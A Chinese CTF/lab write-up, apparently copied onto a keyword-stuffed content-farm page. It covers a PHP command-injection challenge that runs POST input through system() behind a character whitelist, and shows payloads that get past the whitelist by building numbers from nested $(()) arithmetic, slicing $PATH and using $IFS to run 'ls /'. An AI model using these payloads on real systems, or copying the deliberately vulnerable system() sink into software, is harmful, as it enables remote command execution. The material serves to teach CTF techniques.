当前位置: 首页> 文旅> 旅游 > erp软件定制公司_重庆网站建设公司招聘_社交媒体营销三种方式_百度pc网页版入口

erp软件定制公司_重庆网站建设公司招聘_社交媒体营销三种方式_百度pc网页版入口

时间:2025/7/11 7:33:44来源:https://blog.csdn.net/m0_64180167/article/details/147577270 浏览次数:0次
erp软件定制公司_重庆网站建设公司招聘_社交媒体营销三种方式_百度pc网页版入口

文章

https://blog.csdn.net/weixin_46706771/article/details/119145129

https://github.com/ProbiusOfficial/RCE-labs

搭建

<?php
//hint: flag 在根目录下,名字是一个根目录下不常见的文件名
error_reporting(0);
show_source(__FILE__);
$a = $_POST['a'];
$b = '(~SHIP}:{TAF$)';
if (strspn($a, $b) !== strlen($a)) {die('hacker!!!');
}
system("$a");
?>

Dockerfile

# 使用官方的 PHP 镜像作为基础镜像,基于 Apache
FROM php:7.4-apache# 启用mod_rewrite模块,可能对某些CTF题目有用
RUN a2enmod rewrite# 将当前目录的代码复制到容器中的 /var/www/html 目录
COPY . /var/www/html/# 设置工作目录
WORKDIR /var/www/html# 打开容器的80端口
EXPOSE 80# 启动Apache服务(由镜像默认启动)
CMD ["apache2-foreground"]
进入容器执行
ls -l /bin/sh  # 查看当前指向(例如 /bin/sh -> dash)
rm /bin/sh     # 删除旧链接(谨慎操作!)
ln -s /bin/bash /bin/sh  # 让 /bin/sh 指向 bash

这样system可以执行环境变量切片

复现

echo ${PATH:5:1}${PATH:11:1}

然后我们通过构造数字

oct_list = [  # 构造数字 0-7 以便于后续八进制形式的构造'$(())',  # 0'$((~$(($((~$(())))$((~$(())))))))',  # 1'$((~$(($((~$(())))$((~$(())))$((~$(())))))))',  # 2'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 3'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 4'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 5'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 6'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 7
]

但是这里我们有一个11 需要构造八进制的 0 1 3 实现

echo $((013))

输出11 所以我们这样构造即可

$(($(())$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))))

image-20250428104747324

最后构造整个ls / 空格使用 $IFS绕过

echo ${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$(($(())$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(()))))))))):$((~$(($((~$(())))$((~$(())))))))}$IFS${PATH::$((~$(($((~$(())))$((~$(())))))))}

image-20250428104933433

这里是后面复现 所以东西不多 挺好的一个题目

关键字:erp软件定制公司_重庆网站建设公司招聘_社交媒体营销三种方式_百度pc网页版入口

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: